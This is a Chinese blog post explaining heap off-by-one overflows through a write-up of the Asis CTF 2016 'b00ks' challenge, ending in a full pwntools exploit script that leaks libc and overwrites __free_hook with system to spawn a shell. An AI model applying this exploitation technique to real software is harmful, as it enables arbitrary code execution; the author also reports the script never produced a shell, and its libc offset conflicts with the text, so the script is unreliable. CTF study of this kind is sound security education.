堆溢出入门0x01 Off-By-One

Off-By-One

只溢出一个字节,比如我们定义一个数组var[20],他做多可以到达var[19],如果访问var[20]则会发生越界,而由于某些程序缺少边界检查,则会发生溢出的危险。 

利用思路

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。
  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。这时可以选择使用 unlink 方法进行处理。另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块(理论上是当前正在 unlink 的块)与当前正在 unlink 的块大小是否相等

实例讲解

Asis CTF 2016 b00ks

0x01 先运行一下程序

 我们可以看到在运行程序时,会先输入你的名字,然后进去后会有六个功能Create、Delete、Edit、Print、Change、Exit,其中Delete和Edit是根据book_id来改变的,接着我们拖到IDA中查看:

0x02 IDA程序分析

主函数:

 Choice函数:

 Change Author Name函数:

 在这个函数中存在一个get_name函数,并且会传递两个参数off_202018应该是存储名字的内存,而32应该是大小限制,接着我们进入到这个函数内:

 我们看到了read函数,箭头,并且在最后,函数会将最后一个字节置为0,若我们输入作者名字为32字节,会使得第33为字节位为0,从而造成单字节溢出。若想要溢出我们所需的内容,只要存放作者名字的地址和存放图书的地址是相邻的。

book结构体:

分析后得到如下结构体:

struct book
{
    int id;
    char *name;
    char *book_description;
    int size;
}

至此IDA中分析结束,我们大致的思路如下

漏洞利用思路:

  1.  输入作者名字后创建一个book_1,确保溢出后可以指向book1_description;
  2. 再创建一个book_2,desc_size为0x21000;
  3. 再desc中构造fake_chunk,使其name指向book2的desc,desc指向book2的name。溢出后,这个fake_chunk即book1;
  4. book2_desc_size是0x21000,大小足够大时,会使用mmap分配内存,mmap分配的内存和libc是有偏移的。我们调试获得偏移,算出libc的基址。就可以得到system和/bin/sh的地址;
  5. 我们通过修改book1_desc的值覆盖book2_name为/bin/sh的地址,覆盖book2_desc为__free_hook的地址;
  6. 通过修改book2_desc而修改__free_hook的值。改为system的地址,因为在free函数前会调用__free_hook,如果__free_hook为空,则不调用,如果为空,则调用该函数,参数是__free_hook的前一个地址;
  7. 修改完之后,删除book2,则会调用system函数

0x03 gdb动态调试

create_name("a"*0x20)
create_book(0x20,'book1',0x1000,'book1desc')

查看book1结构体

 

查看book1_desc

 由于我们创建了book1,作者的最后一个字节/x00被book1指针覆盖掉了,所以我们输出图书的内容也会显示book1指针

 至此,我们成功得到了book1的地址。

由于堆管理的机制,若分配的堆足够大,则会使用mmap分配,mmap分配堆内存空间存在一个特点:分配的与libc的及地址存在固定的偏移关系。我们可以根据这个特性算出libc的基地址。

create_book(0x20,'book2',0x21000,'book2desc')

接着我们进行第三步构造fake_chunk,编辑book1(此处’A‘*0xb0是为了后面的内容到达我们所控制的位置)

payload = 'A' * 0xb0+p64(1)+p64(book_addr+0x70)+p64(book_addr+0x68)+p64(0xffff)
edit_book(1,payload)

接着我们查看book2的结构体

我们看到book2的desc指针为:0x00007ffff7fba010,我们在使用vmmap查看libc的基地址

 

通过计算我们得到该偏移为:0x5D6010,至此我们得到了libc的基地址

下面三行代码时得到book2_des的地址和book2_name的地址,
因为此时fake_chunk即chunk1,当输出信息时,会打印fake_chunk_name和fake_chunk_desc所指向的地址,
即book2_des_addr和book_name_addr。此时fake_chunk_name指向book2_desc,fake_chunk_desc指向book2_name

book_id,book_name,book_des,book_author = print_book(1)
book2_des_addr = u64(book_name.ljust(8,'\x00'))
book2_name_addr = u64(book_des.ljust(8,'\x00'))

得到其他函数的地址(我参考了其他博主的博客在这里有两种方法,一种是通过onegadget查找偏移,另一种就是如下这种方法)

sys_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']
bin_addr = libc_base + libc.search('/bin/sh').next()

log.success('sys_addr = '+hex(sys_addr))
log.success('free_hook_addr = '+hex(free_hook_addr))
log.success('bin_addr = '+hex(bin_addr))

之后通过修改book1的desc进而修改book2_name,使其为bin_addr,book2_desc为free_hook_addr

edit_book(1,p64(bin_addr)+p64(free_hook_addr))

接着修改book2_desc进而修改free_hook_addr为system_addr,使得调用free函数会调用system函数,进而getshell

edit_book(2,p64(sys_addr))

接着最后getshell

delete_book(2)
p.interactive()

exp大致如下

from pwn import *

p = process('./b00ks')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def create_name(author):
p.recvuntil('name: ')
p.sendline(author)


def create_book(name_size,name,des_size,des):
p.recvuntil("> ")
p.sendline('1')
p.sendafter(': ',str(name_size)+'\n')
p.sendafter(': ',name+'\n')
p.sendafter(': ',str(des_size)+'\n')
p.sendafter(': ',des+'\n')


def print_book(id):
p.recvuntil('> ')
p.sendline('4')
for i in range(int(id)):
p.recvuntil(':')
book_id = p.recvline()[:-1]
p.recvuntil(': ')
book_name = p.recvline()[:-1]
p.recvuntil(': ')
book_des = p.recvline()[:-1]
p.recvuntil(': ')
book_author = p.recvline()[:-1]
return book_id,book_name,book_des,book_author


def change_name(author):
p.recvline('> ')
p.sendline('5')
p.sendafter(': ',author+'\n')


def edit_book(book_id,content):
p.recvline('> ')
p.sendline('3')
p.sendafter(': ',str(book_id)+'\n')
p.sendafter(': ',content+'\n')


def delete_book(book_id):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil(": ")
p.sendline(str(book_id))


if __name__ == '__main__':
create_name('A'*32)
create_book(0x20,'AAAA',0x1000,'BBBB')


book_id,book_name,book_des,book_author = print_book(1)
book_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
log.success('book_addr = '+hex(book_addr))


create_book(0x20,'CCCC',0x21000,'DDDD')
payload = 'A' * 0xb0+p64(1)+p64(book_addr+0x70)+p64(book_addr+0x68)+p64(0xffff)
edit_book(book_id,payload)
change_name('A'*32)


book_id,book_name,book_des,book_author = print_book(1)
book2_des_addr = u64(book_name.ljust(8,'\x00'))
book2_name_addr = u64(book_des.ljust(8,'\x00'))
log.success('book2_name_addr = '+hex(book2_name_addr))
log.success('book2_des_addr = '+hex(book2_des_addr))


libc_base = book2_des_addr - 0x5a9010
log.success('libc_base = '+hex(libc_base))


sys_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']
bin_addr = libc_base + libc.search('/bin/sh').next()


log.success('sys_addr = '+hex(sys_addr))
log.success('free_hook_addr = '+hex(free_hook_addr))
log.success('bin_addr = '+hex(bin_addr))


edit_book(1,p64(bin_addr)+p64(free_hook_addr))
edit_book(2,p64(sys_addr))


delete_book(2)
p.interactive()

我调试过好几次后也得不到shell,也不清楚是哪出了问题(太菜了)

posted @ 2021-03-05 23:32  eur1ka  阅读(196)  评论(0)    收藏  举报